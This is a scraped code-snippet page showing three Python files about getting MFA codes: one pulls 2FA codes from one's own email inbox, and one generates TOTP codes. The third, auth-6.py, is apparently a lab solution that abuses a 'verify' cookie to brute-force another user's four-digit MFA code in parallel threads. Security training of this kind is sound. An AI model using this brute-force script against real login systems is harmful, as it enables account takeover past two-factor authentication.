KaneAI - World’s First E2E Software Testing Agent.Book a Demo Join TestMu Conference

How to use get_mfa_code method in SeleniumBase

Best Python code snippet using SeleniumBase

2FA.py

Source:2FA.py

...60            list_of_emails.append(email_data)61        # print(email_data)62       63    return list_of_emails64def get_mfa_code(subject_line, sender):65    """66    get_mfa_code will get a list of emails that could contain the 2FA authentication code and then return that information67    68    :param subject_line: str69        The subject line of the email that we are looking for70    :param sender: str71        The email address of where the code gets sent from72    73    :return:74        list of possible 2FA codes75    """76    inbox = get_inbox(subject_line, sender)77    otp_list = []78    for each in inbox:79        # print(each["subject"])80        try:81            otp = re.search("[0-9][0-9][0-9][0-9][0-9][0-9]", each["body"])82            # print(each["body"])83            otp_list.append(otp[0])84        except KeyError:85            otp = re.search("[\n][0-9][0-9][0-9][0-9][0-9][0-9]", html2text.html2text(each["html_body"]))86            # print(html2text.html2text(each["html_body"]))87            otp_list.append(otp[0].strip())88        print(otp[0])89    print(otp_list)90    return otp_list91def main():92    """93    Main function to run Email 2FA Code Grabber94    :return:95        None96    """97    # EMAIL 2FA CODE GRABBER98    get_mfa_code("ENTER_SUBJECT_LINE_HERE", "ENTER_FROM_EMAIL_HERE")99    100if __name__ == '__main__':...

auth-6.py

Source:auth-6.py

...3import sys4import getopt5import threading6from halo import Halo7def get_mfa_code(url):8  spinner = Halo(spinner='bouncingBar')9  session = requests.Session()10  url1 = url + "login"11  url2 = url + "login2"12  data = {"username": "wiener", "password": "peter"}13  cookies = {"verify": "carlos"}14  session.post(url1, data=data)15  session.get(url2, cookies=cookies)16  threads = []17  code = []18  def test_mfa_code(i):19    data = {"mfa-code": i}20    cookies = {"verify": "carlos"}21    response = session.post(url2, data=data, cookies=cookies)22    if "Incorrect security code" not in response.text:23      code.append(i)24  for i in range(10000):25    n = str(i)26    n = n.zfill(4)27    t = threading.Thread(target=test_mfa_code, args=(n,))28    threads.append(t)29    if code:30      spinner.succeed("Lab solved!")31      spinner.succeed(f"The code was \"{code[0]}\"")32      return 133    if i % 50 == 0:34      for x in threads:35        x.start() 36      for x in threads:37        x.join()38      threads = []39      time.sleep(5)40      spinner.start(f"{i} codes tested...")41    i += 142def main(argv):43  help_message = "This is the script for:\n'2FA broken logic'\n\nUsage: python3 auth-6.py -u <url>"44  try:45    opts, args = getopt.getopt(argv, "hu:")46  except getopt.GetoptError:47    print(help_message)48    print("\x1b[?25h", end="") # Make cursor visible49    sys.exit(1)50  for opt, arg in opts:51    if opt == "-u":52      url = arg53    elif opt == "-h":54      print(help_message)55      print("\x1b[?25h", end="") # Make cursor visible56      sys.exit()57  get_mfa_code(url)58if __name__ == "__main__":59  print("\x1b[?25l", end="") # Hide Cursor60  main(sys.argv[1:])61  print("\x1b[?25h", end="") # Make cursor visible...

loginInfo.py

Source:loginInfo.py

...78def get_password():9    return PASSWORD1011def get_mfa_code():12    totp = pyotp.TOTP("############").now()13    return totp1415# If this file is executed, OTP is printed.16if __name__ == "__main__":
...

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.